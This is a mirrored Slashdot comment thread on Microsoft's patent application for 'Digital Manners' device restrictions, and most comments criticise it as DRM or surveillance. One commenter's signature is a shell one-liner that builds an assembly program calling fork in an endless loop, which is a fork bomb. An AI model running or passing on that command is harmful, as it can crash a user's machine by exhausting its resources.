Slashdot Mirror
Microsoft Applies For "Digital Manners" Patent
SirLurksAlot writes "Ars Technica reports that Microsoft has recently applied for a patent for a technology which would attempt to enforce manners in the use of cell phones, digital cameras, DVRs and other digital devices. According to the article, the technology could be used to bring common social conventions such as 'No flash photography' and 'No talking out loud' to these devices by disabling features or disabling the device entirely. The article also points out that the technology could be implemented in situations involving sensitive equipment, such as in airplanes or hospitals. The patent application itself is also an interesting read, as it describes a number of possible uses for the technology, including 'in particular zones to limit the speed and/or acceleration of vehicles, to require the use of lights, to verify an indication of insurance coverage and/or current registration, or the like.' While this technology could certainly be of interest to any number of organizations one has to wonder how the individuals who own devices which obey so-called 'Digital Manners Policies' would feel about it."
So this is "innovation", eh?
If you want news from today, you have to come back tomorrow.
And I, the consumer, would buy a new device that is explicitly less functional than existing devices... why?
this technology is not already in Windows say I can still say what a bunch of
[Bad manners deleted]
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Do it yourself, because no one else will do it yourself. [beta blockade 10-17 Feb]
..No Windows at MacWorld/Linux conferences
http://revj.sourceforge.net
In other news, bank robbers cheers at their new tool to bring along that will disable all cameras when performing robberies.
Cell phone users are also wondering why their phones tend to stop working every other minute. Investigation shows one out of five person in the public carrying their own "no phone calls here" devices arround.
Finally paparazzis express no worries. They will just keep a slightly longer distance to their targets and thus avoid any "no photos here" devices carried arround by most celebrities.
i give it one month until someone gets around the restrictions, and two months until someone makes a transmitter and shuts off all mobiles (or cars) in the area
Wow, Microsoft really don't get it.
I bet they peed their pants just a little when they finally found something in the world of tech that has little/no prior art.
Never did it occur to them that the reason there's very little prior art is that the other people to try using technology to be restrictive, and annoying, go out of business quickly. Because -- like DRM -- it's a shit idea and consumers will hate it.
So the camera I have now will magically follow this, as will the untold millions of cameras currently in use.
I prefer the good old fashioned calling people out method of enforcement. I've had a professor who answered peoples cell phones, I've seen a recital stopped completely because of a camera and the person kicked out. Anyhow, anything I own should never be under your control. Sorry, but it's just that way.
The only reason ideas of this caliber get used in mass is so that those who have power can remove what little power the rest have. Organize protest, sorry you cameras can't work, it's for the safety of those around you.
I'm also seriously beginning to think that there is a group of people in this world who consider better communication and record keeping on the part of the masses is a bad thing and should be stopped.
Burn Hollywood Burn
So now police will disable any cameras in vicinity of "action"?
Extreme Programming - Redundant Array of Inexpensive Developers
If you can select "Manual" or "Follow Local Convention" on something, it's fine. If it's meant to override any setting I put in, there's obviously going to be problems and abuse. In short, it should be there for the customer -- not big brother.
1. "Digital Manners" Patent
2. Pentagon Gets Kill Switch For Planes
3. Profit!
Didn't they already do this when they politely acquiesced to the broadcaster's non-copy bit in their Media Center (or whatever braindead application it was)? That cant-record-"American Gladiator" stuff I saw referenced here?
Talk about shooting yourself in the foot...
They will just replace the firmware, or shortcut a chip.
So, Microsoft patented the broadcast flag?
Patents Drive Free Software as Hurricanes Drive Construction Industry
it comes with the function "No acting like a douche" built in
Well, or maybe we'll just vote that if you scream into your phone in a train, the cops shove your phone up your arse. It has to be good for the economy too, since it'll stimulate a market and R&D for smaller devices ;)
;)
So, really, which would you rather buy? The one which forces you to not disturb the others, or the one which will make you walk bow-legged to the nearest hospital?
Well, more seriously, currently the only choice is to disable them completely, for example with EM shielding or with a pico-cell that doesn't let anything through. If we can enforce some manners, maybe we won't need to go that far. Maybe we'll even let the heart surgeon in a movie theatre get his emergency phone call, if we're sure that (A) the phone is capped to vibrating inside the room, instead of playing a retarded tune at 80 dB, and (B) he'll have to walk out to actually talk.
So basically, we're not going to give you the right to be an antisocial retard and annoy everyone else, one way or another. So you can choose between (1) losing any use of that phone in some situations and places, completely, or (2) having some lesser restrictions enforced by it. I hardly think that #2 is the less functional.
And that's not even getting into situations where retards on cell phones actually endanger everyone else. Like retards who pay more attention to their phone when driving, than to the road.
Yes, you may think that you're way above average as a driver, and you'd _never_ possibly cause an accident. Guess what? So does everyone else. Over 90% of the people think that their driving is above average. It's mathematically impossible.
At any rate, it's already proven that talking on the phone impairs driving more than being a little inebriated. So I'd like to see that enforced just like DUI. Forget points and fines, I want to see a few people go to PMITA state jail if they get seen doing that too often.
No, I don't care how simultaneously that call is the most important call in your life, and you also absolutely need to be in some meeting in 5 minutes. Neither is _that_ vital as to be a blank pass to endanger other people's lives. Whoever called you, is still going to be there in 5 minutes or an hour or whatever. Whatever important customer you're running to, well, if it's that important, postpone the phone call. If you can't prioritize, well, it's not anyone else's fault, so they shouldn't be the ones taking extra risks.
I'm guessing that it wouldn't be that horrible to have the phone remind you to park or use a headset then. Or not worse than the alternative.
A polar bear is a cartesian bear after a coordinate transform.
... no, not a beowulf cluster of those. Imagine if this was $good_company making this patent:
//$good_company==apple||google||...
- Hooray, now everyone will be less obnoxious!
- Yeah, it will be easier now to obey those "no calling" in theaters. It was such a pain to remember to turn of phone.
- Good, no more accidental flashes when I'm in a museum.
Extreme Programming - Redundant Array of Inexpensive Developers
This patent has just been filed, not just granted.
/. each time some company tries to market a GSM signal jammer, where approach similar to openmoko and microsoft have been said to be safer.
Details of similar systems have been recently described, including a summer of code project for OpenMoko (that wasn't accepted) which wanted to put a dbus architecture to let the user add conditions which cause profile to switch, for example: going to "silent mode" whenever the phone's gps detects it has entered into a meeting room.
The summer of code project wasn't accepted, thus this system isn't currently implemented. Never the less, it's described on the OpenMoko wiki, and similar strategies have regularly been described on the web, including here on
To what extent can these description without implementation represent Prior Art ?
I also fail to understand why microsoft is trying to patent this. For this to work, it must reach widespread usage, which means it must be an open standard (a real one, not an OOXML-like one), so that both all constructor can implement it easily, and some places or legislation can require it, without those requirement forcing people to give cash to a particular private company.
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
First they try to foist "Digital Rights Management" on us, to the applause of many organisations, and now they try to force digital management of my right to be a prick on me? I hate hearing a phone ring at the movies (even more, I hate hearing someone answer it) as much as anyone, but people shouldn't have to have good manners forced on them by their tools/toys. If I may compare control of one's manners to control of one's bladder, this is worse than grownup diapers. It's like underwear that plugs your urethra against your will.
Admit it. You post strawman arguments as AC so you get modded Insightful for refuting them, rather than Troll
"And I, the consumer, would buy a new device that is explicitly less functional than existing devices... why?"
Because you have no choice, perhaps? Take DVD players as an example. DVD region-codes have no legal basis, that is, makers of DVD-players do not have to respect them. Yet all major manufacturers do, in fact, respect the codes.
For the electronic manners, it could easily go the same way...
it's interesting that they call it 'Digital Manners'.
it's almost as if they want people to think it's just benign reminders and opt-in enforcement of polite social niceties rather than a method for enforcing mandatory external control over all your devices.
BIG BROTHER IS WATCHING....
And he looks just like Martha Stewart!!!
Does this mean that I have to be rude to avoid paying M$ a royalty?
wouldn't try for a patent this stupid.
For proof, see the fact that they haven't.
Microsoft. We KNOW what's good for you!
-- Cheers!
"You have been fined one credit for the violation of Digital Manners Act."
I don't like this idea here.
I do not know how they are going to even make a control system like this, and it seems like they would use the patent system to force companies to code for them.
I think that Microsoft is looking for a lot of control here and I hope that the system denies this action, because not even Gates can code for this.
I think this kind of thing could have potential for good, as long as it isn't enforced. The classic example is the mobile phone in a theatre or cinema - it would be nice if the phone could know to automatically switch to silent mode, with user override possible.
In other areas like not being able to record things with your DVR it's just evil. In other words, it needs to act like a polite sign that a device can "read", rather than be enforced.
const int one = 65536; (Silvermoon, Texture.cs)
SJW, n: "Someone I don't like, and by the way I'm a fuckwit" - AC
Wow! Once we have computers in our body that control and supplement our being, then we can implant this technology in every citizen.
That allows us to enforce the wishes of the religious right and disable the mothers that attempt abortion. But that would be counter productive, wouldn't it?
We could also zap those pesky homosexuals and zap the libido of everybody that makes love to anybody he is not married to. Amend the constitution!
And off course we can disable everybody's arm that does attempt to vote the wrong party at the ballot box. Then we can finally use clean voting machines that can't be tampered with.
I'll settle for a kill switch on users who top post. Thank you so much, Microsoft, for innovating that ...
http://www.linux-mips.org/wiki/Net_Resources
Yeah people are so rude these days. The other day I saw some pictures by reporters from a warzone!! What would become of the world if you can not even commit war crimes in privacy of your own prison camp? And remember when ABC did that terrible rude thing an filmed the giant halliburton logos on the trucks at an Iranian oil field? How rude!
I am sure the "You are being rude [Cancel], [Continue] dialog will work just as well when I try and take a picture of the chemical waste coming from a pipe outside the canon factory. Afterall with Canon, you can!
In fact why not let technology enforce all humanities morals? Smart card chastity belts for everyone!!! Yay!
Well you can't go there cos it is restricted.
You spent HOW MUCH on that Digital Camera? Well, we'll still tell when and where and how you can use it - for your own good, of course...
You think that you're free to use your purchases as you see fit? Well Big Brother Bill knows best. He'll even tell you what accessories you must buy to get it to work.
-- "To ask a question is to show ignorance; Not to ask a question means you'll remain ignorant."
And once again Microsoft "invented" technology which will work against normal user.
People who will be aware of the technology will either accept it, try to avoid devices with it, or simply disable it in devices they own.
However the ones who won't know about this will be unpleasantly surprised. No harm done if Microsoft "invention" will prevent them from making photo of a bee in restricted area. But - for example - what if law enforcement agency will overuse their power combined with no photographing/video recording portable device?
You will be nice to your copy of Microsoft Vista at all times. If it registers dissatisfaction about Vista through the use of the webcam or via voice control, Vista will shut down until you start giving it nice thoughts like "Bill Gates is great really", or "I didn't really mean to attack my machine with a chair".
Take Nobody's Word For It.
...kill switches in planes? Seems like a frightening trend toward behavior enforcement.
Wisdom, knowledge, and truth - found only in one Place.
...what good is a phone call if you're unable to speak?
"According to the article the technology could be used to bring common social conventions such as 'No flash photography' and ****'No talking out loud'**** to these devices by disabling features or disabling the device entirely." [emphasis mine].
HI! YES, IT IS ME!
Sorry, I do not want to be rude, but being polite would be a patent violation here. Even if I am not a device, obeying the signal would be a patent violation, yes? (IF it gets granted, off course)
When they enforced digital rights, I didn't raise my voice, because I didn't have any rights.
When they enforced digital manners, I didn't raise my voice, because I didn't have any manners.
When they enforce digital voting, it will be too late to raise any voice.
Free, as in your money being freed from the confines of your account.
It's pretty smart, in an evil way. What to you do when you foresee the end of your days as a darling of the consumer? Create products for Big Brother!
Caveat Utilitor
Comment removed based on user account deletion
oh my god, the irony. It broke my irony meter.
I believe there was a patent applied for sometime around 2000 for cell phones to voluntarily go to vibrate or silent mode if it was within range of a special code transmitter, which could be installed in theatres, churches, etc. I know because I thought up the same thing were I was working at the time, but was just a few months too late. I don't have the patent number, but I know it was in the US and I saw a photocopied newspaper article on it when I got the "close but no cigar" letter from upper management.
My rights don't need management.
All the overtaking manouvers.
Sigh, these will be the days.
WHY IS EVERY MICROSOFT INNOVATION ABOUT DISABLING SHIT????
Lameness filter encountered. Post aborted!
Filter error: Don't use so many caps. It's like YELLING.
Lameness filter encountered. Post aborted!
Filter error: Don't use so many caps. It's like YELLING.
"If God created us in his own image we have more than reciprocated." - Voltaire
Use your head, can't you, use your head,
You're on earth, there's no cure for that - S. Beckett
Well, I think on this kind of devices more than twice, They would be wonderful for a perfect world, but here where we live in let me car get orders from a third party device when I'm at 100 mph, is not something that I would be comfortable with.
Wonder how much time will get some bad guy to hack one of them to do something like stoping you in the middle of a highway and take your car, or simply turn right to make you crash.
A pre-requisite for field a patent here, besides not being commons sense as US allows, is to have MADE a device that works and implement the patented method. You can't patent ideas here. :-(
I do not know how a country allow such a thing, exepts... that they want to enforce those patents in the rest of the world to make money.
Sad, really.
Isn't this just a kind of DRM for 'other stuff', trying to dictate how someone uses a product after they bought and paid for it?
I have spoken'eth.
I anyone ask me politely to turn my cell off or not take pictures, I will gladly oblige. But remotely turning them off? Now that's rude.
As long as there are slaughterhouses, there will be battlefields.
To kick trolls off of Slashdot or to automatically mod down posts.
Of course, just by saying it, this post will be mod'd as a troll.
A patent for good manners on Slashdot- could it really be done?
Lets just say for a moment that these machines could not be used badly. Also, people would actually buy them. Now what?
Case 1: The car that won't move
So, there is a fire in the parking garage I am in. Being nice to their customers they only allow them to drive at 5mph. Well... I won't live to sue
Case 2: NO ME GUSTA CELL
I don't like people talking on cell phones. I think it is not nice. When I walk past people on the street their cell phones stop working. It turns out one of them was calling 911. Of course the powers that be made sure 911 works even with a kill switch. What they did not expect is that a defect in the phone causes it to malfunction when it gets the signal after the call has been started.
I could continue. But limiting people by technology does not work. If a person enforces a no phone policy, he will make exceptions in the case of 911 or something else. He will not care you are driving 50mph in a 5mph zone do to fire about to engulf you. Computers are just not smart enough to know when to bend the rules.
There better be a 911 over ride that fully unlocks the phone.
.... don't use it.
So whats the problem?
..but by thunder I will stand up for this!
'No talking out loud' - If I had a penny for every time some gonk on my train home, felt the need to share their entire life with the rest of the carriage! I am seriously on the brink of spending money on a phone-jammer to shut these loud-mouth, inconsiderate freaks up!
"Yeah, I'm like "shutup", he's like "no way", he's like "Yeah man", and I'm like "Yeah right!"" - "Like" means similar to, twat-face bimbo, it is not a synonym for the word says or said!
"Hi yeah, I'm about 5 mins from home, can you pick me up?" - Well fecking walk or call before you left work!
"Hi, yeah well we did Spain on Monday, then Germany on Tuesday, but then I'm jetting off to the States on Thursday, then Jappers on Sunday, yeah should be cool!" - That last one was genuine. You're not impressing anyone, we all think you're a twat, a gullible prat who it appears is their bosses' whipping boy and all round company mug!
This is a great Idea! Why? Because it will do 2 things. 1) support the education of electronics to a huge growth almost overnight as everyone looks up how to remove it from their device! xD 2) Support the booming growth of electronics shops as people just simply pay to have it removed from their device xD
Defective Logic
Signal sent that automatically turns cell phones on to silent/vibrate when in say movie theatres, hospitals, etc.
The exception being that you could register your phone as an emergency response phone if you're a fireman, law enforcement, doctor, and so on.
We so need to disband patents.
Manners is a property of PEOPLE, not of devices.
I should have the manners to not use my camera's flash at a concert. My camera is my property, it should do whatever I damn well tell it to do.
Now, an automated feature that, when turned on, automatically puts phones on vibrate in the theater is fine -- since that's just the user choosing to use it. But enforcing things like that in the name of "manners enforcement" is ridiculous.
How about something to force CEO and corporate manners. Like not trashing society or the environment for profit. Or not suing people at random for unsubstantiated IP violations. Or not trying to patent the patently obvious.
"Don't Encourage Ballmer!"
"A mechanism for dispensing bio-supportive gases in controlled amounts according to managed criteria".
My first Journal Entry ever, in 8 years! http://slashdot.org/journal/365947/aphelion-scifi-fantasy-horror-poetry-webzine
Defective Logic
Wasnt this the theory behind the movie Demolition Man?
Sounds more like a Police State scenario, and more control over basic freedoms.
"The road to hell is paved with good intentions."
I would never buy a device encrusted with this. Save for curiosity in how I could disable those misfeatures.
Microsoft has us one step closer to their hive. I can't wait to be part of their collective ;-)
Devices that use Microsoft's feature-crippling system are only functional to the extent that external authorities want them to be. Device that do NOT use the MS crap cannot have such limitations, thanks to this patent.
So, as long as we decline to purchase devices that have "MS inside", we are assured of no crippling limitations.
It would be easier to fight off DRM if Microsoft patented the hell out of it.
If DRM == Microsoft, then !DRM == !Microsoft
No problem!
Sea Quest 2012 - I think it was called that by this time - already covered the speeding option, but instead of speed reduction, it fined the driver and not only fined them, but deducted the fine from the driver's social security benefit account.
I'll admit it, I'm not completely opposed to the speed reduction function in cars. I live in a small development with a posted speed of 15 miles an hour. Nothing like watching everyone barrel down the road at forty-five, fifty miles per hour while little kids are outside playing. I'm still amazed they don't do any damage to their cars as they fly over the speed bumps.
I can only imagine the fun I'd have stopping these jerk-offs in their tracks with a speed reduction device. Better than my alternative. Stepping out in front of them or parking my car in the middle of the street.
"The article also points out that the technology could be implemented in situations involving sensitive equipment, such as in airplanes or hospitals."
Both these places are safe to use phones. it has been proven that current cell phone technology does not affect sensitive equipment in either place.
I know the first time my phone automatically turns off I will cancel the service and get another phone that doesn't. I do turn my phone to silent in movie theaters as all good movie goers should. This is a free country and people have the choice to leave it on and be ass hats if they want to.
All that on top of the fact this is just ridiculous and hopefully won't get patented as prior art is definitely already out there.
WTF?
Isn't that like Hannibal Lecter forcing people to be vegan?
Let's say driver's skill is measured on a scale of 1 to 10. If there are 10 drivers, and 9 of them have a skill level of 9, and one has a skill level of 0, then the average skill level is 8.1. So, the 9 drivers, or 90% have a skill level above this average, and 10% have a level below.
This is a simple example for this situation. Unless you specify more about the distribution a priori, such an example can always be created, no matter how realistic you choose to make the assumptions.
My point: stop being cavalier about using "mathematical certainty" ass hat!
Its a good idea. I think everyone that goes to the movies have had a cell phone go off near them or around them. Yes there are more practical uses than not and people would get accustomed to not turning it off. They can let the company do it for you.
i already got the patent on 'online shitting'. constitutes prior art ...
Read radical news here
Shamelessly copied from the standard this-anti-spam-solution-sucks template.
This patent advocates a
(x) technical ( ) legislative ( ) market-based ( ) vigilante
approach to enforcing manners. Your idea will not work. Here is why it won't work. (One or more of the following may apply to your particular idea.)
( ) No one will be able to find the guy or collect the money
( ) It is defenseless against brute force attacks
( ) It will improve manners for two weeks and then we'll be stuck with it
(x) Users of electronic devices will not put up with it
( ) Microsoft will not put up with it
(x) Apple will not put up with it
( ) The police will not put up with it
(x) Requires too much cooperation from asshats
(x) Requires immediate total cooperation from everybody at once
(x) Many electronics users cannot afford to lose business or alienate potential employers
(x) Anyone could anonymously destroy anyone else's career or business
Specifically, your plan fails to account for
(x) Laws expressly prohibiting it
(x) Lack of centrally controlling authority
(x) Asshats
(x) Jurisdictional problems
( ) Unpopularity of weird new taxes
(x) Unpopularity of weird new devices
( ) Public reluctance to accept weird new forms of money
(x) Susceptibility of protocols other to attack
(x) Willingness of users to install OS patches to their existing devices
( ) Joe jobs and/or identity theft
( ) Technically illiterate politicians
and the following philosophical objections may also apply:
(x) Ideas similar to yours are easy to come up with, yet none have ever been shown practical
( ) We should be able to talk about Viagra in the movie theater without being censored
(x) Countermeasures should not involve sabotage of privately owned devices
(x) Countermeasures must work if phased in gradually
( ) Why should we have to trust you and your servers?
( ) Incompatibility with open source or open source licenses
( ) Feel-good measures do nothing to solve the problem
(x) I don't want the government controlling my iPhone
( ) Killing them that way is not slow and painful enough
Furthermore, this is what I think about you:
( ) Sorry dude, but I don't think it would work.
(x) This is a stupid idea, and you're a stupid person for suggesting it.
( ) Nice try, assh0le! I'm going to find out where you live and burn your house down!
God invented whiskey so the Irish would not rule the world.
If this patent were granted and devices really did contain chips designed specifically for this purpose, what are the odds of people reflashing the firmware in their devices to disable this "feature"?
DRM
Welly, welly, welly, welly, welly, welly, well. To what do I owe the extreme pleasure of this surprising visit?
If a man cannot choose, he ceases to be a man.
Does God want goodness or the choice of goodness? Is a man who chooses to be bad perhaps in some way better than a man who has the good imposed upon him?
I find this kind of technology, "interesting" and its not so much the idea of it that worries me, its that it may one day be implimented. We really need to have some kind of legislation against this kind of thing.
If you make it possible to disable or impair the functionality of a device remotely, then that's exactly what people will do...
And if you rely on the device responding to the disable command, a market will spring up for people to fix these devices by removing this undesirable functionality.
http://spamdecoy.net - free throwaway anonymous email - avoid spam!
Anyone ever heard of Digital Rights Management? Next it will be DMM, Digital Manners Management. Microsoft is now your pinnacle of morality!
There are mountains to cross for those that are willing.
Microsoft wants to control when and how people use there electronic device.
No one was surprised.
The Kruger Dunning explains most post on
Several years ago, my undergraduate university was planning on having officially licensed cell phones through a particular carrier. One of the features discussed was the ability to have instructors turn off text messaging and internet access on the phones during tests to reduce instances of cheating. They also considered blocking the cellphone use entirely during classes, but decided this wasn't appropriate because some students had legitimate reasons to have them on.
This seems pretty similar to me, but it never got out of the planning stage.
It must have been something you assimilated. . . .
Anyone else see that as "Digital Manure"? I guess that would be vista they're referring to.
At the bottom of the
Plus, it has a few more touches of SF. A 0 skill driver would be one who doesn't know _anything_ about driving, not even in which lane he's supposed to drive, or how he can turn right. Even if some of those managed to pass the driving test, they're not going to drive for very long until either the cops or natural selection gets them off the roads. It's a ludicriously unrealistic premise right there.
_My_ point is, learn a bit more maths before calling people "ass hat". Yes, so you managed to use elementary addition and even multiplication and division. I'm sure your parents are proud of you. Get a bit further, say up to statistics, and then we'll talk
That's ok. I hate it when idiots pollute a thread with posts just to the effect of, "look, I found someone who made an error!" as their only claim to glory. But you don't see me trying to stop you from posting. God knows that if you're at the stage where you have to "prove" that there's someone between you and the bottom of the proverbial barrel, you already know you're a loser. Anything I could say here won't be any worse anyway.
A polar bear is a cartesian bear after a coordinate transform.
Airplanes have a system that gives votes to the meat pilots and to the AI piloting systems. The AI pilots outnumber the meats, so if the all agree they can control the plane's actions. I'm not in Aero, though, so this might only have been a tested system (there was at least one fatality as a result) not one that made it into production, but I believe it did (with modifications).
"And that solves the mystery of the missing ring" - Bender
I don't have a problem with the idea of my cell phone automatically switching to vibrate when I walk into an auditorium. What I *do* have a problem with is the idea of one company owning a patent on the implementation technology, because then the marketplace can't offer competing implementations.
At some point one must strike a balance between complying with social conventions, and maintaining control of one's own device. If there is only one company selling "polite" devices (due to a patent), then *they* decide where to strike that balance. If there are many companies doing it, then *I* get the choice by deciding on the vendor whose products make the feature useful rather than obnoxious.
It's a stupid patent application anyway, because there's a ton of prior art.
[Sir Garlon] is the marvellest knight that is now living, for he destroyeth many good knights, for he goeth invisible.
Only Microsoft could figure out how to take the distributed power of the internet and modern technology and turn it into some sort of perverse distributed Big Brother.
I can certainly see the use of such a technology. I wouldn't mind putting my phone in a mode where it would automatically switch the ringer off and switch to vibrate whenever I walked into a theater, for example.
But, if for example I were a medical professional, I might want the ability to opt out of "digital manners", because saving lives is far more important than being polite.
The "proof of insurance" example is particularly scary. I can envision a world where half of our cars and ambulances stop working because the DrivesForSure authentication server is down.
From the Microsoft FAQ:
"In the event of the collapse of civilization into a Mad Max-esque dystopian future, we will issue a patch on our website that will allow your car to continue to function."
...because you get calls from 911 so often?
I do enjoy these technologies when they get out into the public. I hope this one doesn't actually get implemented. Why? Say I'm a terrorist or general bad person.... like a school shooter or something.... As we know there is cell phone alert mechanism when things go "south", you get a phone call or text message. Ok... So where would microsofts technology be used.... a library... maybe at the movies? Or how about..... a SCHOOL or UNIVERSITY. Great!!! We have technologies in that alert us when things are going bad, like a school shooting or something, but hey, microsoft will disable your device from RINGING to alert you that the shooter is about to mow you down in the location your currently at. GREAT!! Might not be too bad, but its going to have to be thought through a lot more to come into "production". You can't control the stupid with technology this way, its much better to reach out and slap the idiot you refuses to follow the rules or put their phone on vibrate.
My dictionary definers 'manners' as 'polite or well-bred social behavior. It is learned to improve social integration. It is also based on individual decision making. The value is that I make a choice, my manners imply a respect for others.
Not uncharacteristically, the Microsoft solution presumes to remove that freedom of choice, and thus limiting individual freedom. It also undermines the true meaning and value of conscious manners, without choice there is no conscious respect.
This is not unlike an Orwellian society, which removes moral choice by simply making it impossible to make the wrong choice to begin with; means may include continuous surveillance and the removal of all potential implements of violence such as pocket knives and toiletry liquids more than 3 oz in volume...
Harald Striepe
It looks like you're going into a fit of "Road Rage," would you like to...
Michael J. Ryan - tracker1.info
for one thing it maybe help to a speaker phone when calling 911 so you can talk to help while having your hands free to help people.
We're talking about Microsoft customers. They are used to the idea of the products they buy, being intentionally designed to serve the interests of other parties, in preference to the users' interest.
How will they feel? They'll feel vaguely frustrated, but unable to see what has gone wrong, because they have conditioned themselves to accept such a bizarre, alien situation as "normal."
As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
Had the cell phones of the passengers on flight 93 been disabled by this technology, the passengers might not have learned of the hijackers' plans, and the hijackers might have succeeded in reaching their target. (speculated to have been Sears' Tower in Chicago, or possibly the US Capitol).
These are my friends, See how they glisten. See this one shine, how he smiles in the light.
It looks like you CAN take away people's right to be assholes!
I think this patent goes way too far. I'm all for something that forces phones into vibrate mode in certain areas, but some of the other stuff... no way.
And the idea of Microsoft being behind this is double-plus-ungood, IMHO.
"Digital Manners" or "Digital Domination"? Who wants Steve Ballmer or other rich and powerful people to be able to turn off their cell phone, camera, automobile, headlights and anything else with a Genuine Advantage embedded in it? On call doctors and industry people don't want to miss calls because it might have been rude to save someone's life or property. Imagine ambulances getting stuck in traffic because all the polite cars respect the mayor's motorcade. Government officials and cowards want the kill switches for airplanes, so there is market for it that may soon have the force of law. Please, God, give me better government than that. Only the US government would force everyone to pay a patent tribute to a private company when they require oppressive devices to be installed in all forms of digital equipment, transportation and communications.
Im not so caught up in the whole "the man is trying to bring me down" deal as Im sure most people are concerned. Im worried about our future pranksters and jerkoffs who will have the knowhow and the drive to take over these applications and mess with something that is set to protect the general public, and turn it on them, be it for laughs or revenge.
How many times do we hear of aging tech being hacked and used in some prank because some kid got board and wanted to mess with people? I know Iv done it before. I just hope these things have some sort of backup plan and backup-backup plan set in place.
Generally speaking, patenting something greatly reduces its presence in the market. Fewer people can make it, or variants of it, so that basically kills it.
Not always, but often.
I hope that Microsoft winds up not building anything with this patent (or building just a few things that don't do well), and yet insists on holding on to the patent (and charging expensive royalties for devices that do anything like this). That will ensure that we won't ever have to worry about this technology creeping its way into our stuff.
Seeing how "well" this kind of technology currently works in Microshit products, this appears to be road to hell. I can only imagine driving my car, pushing the throttle and nothing happens, coz the OS of the car decides I don't really want to go faster. Let's just hope I won't be crossing a street or a railroad at that time.
Screw the patentability of it. It is disturbing that they are thinking in those terms. Today's benevolent technology aids are tomorrow's tools for oppression.
The average is less than 1, so 90% are better than average. A larger population would be Gaussian but a small population does not have to be.
I'm not sure what this has to do with Digital Manners. You could say that devices under central control by M$ would make us all rude and talk about how that's a monoculture instead of a normal distribution.
Political torture and murder is not funny http://slashdot.org/comments.pl?sid=581079&cid=23757591
I know that when I think of courtesy, politeness, and good manners the name Microsoft springs immediately to mind.
Give me a f-in break. Hey Bill, why don't you make it wipe my a$$ too. I have bad manners because my butt smells.
I hope more corps. patent unfeatures, so it becomes impossible to copy them.
I'm filing for a patent not for an OS but one for installing Microsoft.Not the installer mind you,but for the act of installing Microsoft.
Anyone who actually installs Windows as an act whether scripted or not will have to pay me a fee for doing so.
This also applies to anyone working for Microsoft and right down to Bill Gates.
This in no way applies to any other OS besides Windows.
*Repent!Quit Your Job!Slack Off!The World Ends Tomorrow and You May Die!
I'm not sure about the patent itself or the notion of "enforcing" these things but I can say that it would be convenient for myself if my phone would automatically switch to vibrate in a theater, classroom or other noise-sensitive environment. It would also make a nice default setting for the breed of people that cannot determine how to operate the devices or be bothered to do so. There's even a financial incentive for businesses to implement this sort of thing. Keep manual mode setting for people who want it and to prevent abuse and everyone wins. (completely disabling should always be out for reasons already discussed)
Also, a personal anecdote for "no flash photography". I was at an aquarium with an octopus, which is apparently sensitive to light. There are gigantic "no flash" signs and symbols all around the tank and even on the floor, yet there are no less then three people using their flash. Again, I can only see this as a good thing. Well, in my fantasy world where ideas like these are implemented in a reasonable fashion and misused by no one.
I believe my method of enforcing digital manners by grabbing the device out of the asshat's hands, throwing it on the ground and jumping up and down on it counts as "prior art"!
Does this mean we can't call Bill Gates a [xxx]? What the [xxxx]? And Robocop can't arrest an Officer of OCP?
Or gosh I saw Senator [xxxxx] give [xxxxx] to [xxxx]!!! Arrest his [xxx]! I have pictures.... oh [xxxx] wait, never mind.
hi twitter
nice. Or, considerate.
That patent is just plain fucking stupid, and should have been refused on the grounds of obviousness. People should be policed by social or public mores, not by some awarded, dubious patent. I suspect that in Asia, this patent will be ignored because in general, if you talk like a loud-ass westerner, people WILL stare you down, and the "manners police" in the Tokyo and other Japanese subways WILL dress you down.
Not to say the patent won't affect bad-mannered media device users, but somebody needs to reign in the USPO and deprive them of taking corporate money that fast-tracks patents of dubious nature.
http://news.bbc.co.uk/2/hi/asia-pacific/7312672.stm
WHERE are the FOSS tools that SHOULD be pervasive? Geeks need to get more proactive and create prior art to prevent this kind of bullshit from taking hold when user-feedback and social observations could have preempted the patent from being deemed valid or worthy of issuance.
Previously: "Linux... Toward the Sunrise..." Now: "Linux... Toward the-- No, now, part of Every Sunrise"
...I would have sat up straight and eaten my vegetables but that DLL was corrupted and since you grounded me and took away my Internet privileges so I can't get a replacement from Windows Update. Also, since Tommy hit my hand with the hammer yesterday, my fingers don't work right so I can't enter in the Windows product key to authenticate. Not to mention that little stuck up sister of mine thought it would be soooo funny to take a razor and scape the key sticker off the box and put a Brittney Spears sticker in its place.
If my grammar and spelling are off, I am [distracted/tired/careless] (take your pick)
Sounds like another reason to avoid Windows Mobile, "Microsoft powered" vehicles, ...ur... Windows for Warships... (wow, that's a scary thought... "Fire control is down, sir. The popup says we're being rude.")
They're not even confined to building "manners" into new devices -- just include it as part of the next Windows Mobile update. Whee.
Seems to me that the SDK and private keys (if it even uses a secure mechanism to shut down the device -- you never know with these guys) are going to be highly sought-after in the criminal world. Wow, to partially or completely shut down any device running a Microsoft OS... what a capability.
So, lessee... I can get this Symbian device that works everywhere, so the babysitter can call me during an emergency, or this Windows Mobile device that won't work in theaters or restaurants. What to do, what to do...
In a few months, Thinkgeek offers a new product -- a universal remote that disables any Windows Mobile-based device. Think of the fun you could have at the mall. I wonder if they're taking advance orders.
Yeah, that's a great patent...
Oliver's law of assumed responsibility: If you're seen fixing it, you will be blamed for breaking it.
Who overrated Capt. Obvious here? Please God, mod him back down.
Doesn't this all seem a bit like Joseph Stalin, Fidel Castro, Hu Jintao, Kim Jong-Il, and Hugo Chavez had a meeting and thought about what ways they could best stifle communication, expression, and freedom?
They're using their grammar skills there.
So we have to be nice to machines now? Well fsck you Redmond! Every single day /. reminds me (and gives me more reasons for) why I switched over to Linux completely. I don't even think that I would have completely switched (had to give up some games, and needed to stop buying new ones) if it wasn't for this website. No seriously... /. educated me about: DRM, NSA backdoors, user locking practices, mafia-like activity from Redmond, ET-phone-home-activity, automatic 'we know whats best for you so take this unwanted update even though you stopped wanting to receive updates'... and the list goes on and on and on.
Thanks to all the people who tip/post these stories on /.!
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This is another one of those stupid patents that gets granted these days.
But... I think this one is good. Think about it: only Microsoft-licensed products will be shut down: Microsoft phones, Microsoft cameras, Microsoft laptops, etc.
Fuck the government!
I think I'm going retro. meaning old Film camera, analog land line with a scrambler and breaking my old VW out of storage. now I'm not sure I would want to go back to sneaker net but ...
no matter how good it is, it is human nature always wants to make things better
Ah, yes; the Microsoft bull*** patent of the week.
hospitals , The cell phones have lotsa proof they do not effect the hospitals equipment yet no proof that they do..
